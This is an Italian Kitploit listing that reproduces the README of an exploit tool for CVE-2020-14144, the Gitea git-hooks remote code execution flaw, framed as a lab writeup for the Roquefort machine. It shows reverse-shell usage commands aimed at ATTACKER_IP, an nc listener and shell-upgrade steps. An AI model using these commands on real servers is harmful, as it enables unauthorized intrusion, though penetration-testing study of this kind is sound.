Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Gitea-Git-Hooks-RCE-CVE-2020-14144- — Le versioni di Gitea 1.1.0 → 1.12.5 consentono agli utenti autenticati con il permesso "May create git hooks" di iniettare comandi shell arbitrari negli hook post-receive. Il push di un commit attiva l'hook ed esegue il payload sul server. | Kitploit
Strumenti/GitHubGitHub/mohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubmohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-

Gitea-Git-Hooks-RCE-CVE-2020-14144-

Le versioni di Gitea 1.1.0 → 1.12.5 consentono agli utenti autenticati con il permesso "May create git hooks" di iniettare comandi shell arbitrari negli hook post-receive. Il push di un commit attiva l'hook ed esegue il payload sul server.

Vedi Repository
16 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Gitea Git Hooks RCE (CVE-2020-14144)

OffsecProvingGrounds Practice — Writeup & POC della macchina Roquefort

Panoramica

VoceDettaglio
MacchinaRoquefort (Proving Grounds Practice)
Sistema operativoLinux
Versione Gitea1.7.5
CVECVE-2020-14144
VettoreRCE autenticato tramite Git Hooks
Shell utentechloe

Le versioni di Gitea 1.1.0 → 1.12.5 consentono agli utenti autenticati con il permesso "May create git hooks" di iniettare comandi shell arbitrari negli hook post-receive. Il push di un commit attiva l'hook ed esegue il payload sul server.

Avvio rapido

Automatizzato (Script Python)

root@kitploit:~
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux

# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows

Manuale

Vedi MANUAL.md per la guida dettagliata allo sfruttamento.

Struttura del repository

root@kitploit:~
.
├── README.md          # This file
├── MANUAL.md          # Manual exploitation guide (Linux + Windows)
└── exploit.py         # Automated exploit script

Requisiti

  • Python 3.6+
  • Libreria requests (pip install requests)
  • git installato sulla macchina dell'attaccante
  • Credenziali Gitea valide con permessi per gli hook di git

Utilizzo

root@kitploit:~
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
                  [--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]

Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)

required arguments:
  -t, --target       Target Gitea URL (e.g. http://192.168.x.x:3000)
  -u, --username     Gitea username
  -p, --password     Gitea password
  -I, --rev-ip       Attacker listener IP
  -P, --rev-port     Attacker listener port

optional arguments:
  --os               Target OS: linux (default) or windows
  --repo             Repository name to create (default: exploit)
  -f, --payload-file Custom shell script payload file
  -v, --verbose      Verbose output

Esempi

root@kitploit:~
# 1) Start listener
nc -lvnp 4444

# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444

# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 --os windows

# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 -f payload.sh

Upgrade della Shell (Post-Exploitation)

Dopo aver ottenuto la reverse shell:

root@kitploit:~
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Risoluzione dei problemi

ProblemaSoluzione
fatal: dubious ownershipClona da ~ invece che da cartelle condivise, oppure esegui git config --global --add safe.directory '*'
Nessuna connessione ricevutaVerifica l'IP dell'attaccante, controlla il firewall, conferma che entrambe le macchine siano sulla stessa subnet
L'hook parte ma la shell non arrivaTesta prima con il payload touch /tmp/pwned — se il file appare, la reverse shell viene bloccata
Permesso negato sugli hookL'utente non ha i permessi sugli hook — necessita di privilegi da admin o del permesso "May create git hooks"
Conflitto di porta su 3000Gitea usa la porta 3000 — utilizza una porta diversa, ad esempio 4444, per il tuo listener

Riferimenti

  • CVE-2020-14144 — NVD
  • Gitea Issue #13058
  • POC originale di p0dalirius

Disclaimer

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e a scopi didattici. L'accesso non autorizzato a sistemi informatici è illegale. Usalo in modo responsabile.

Scarica lo strumento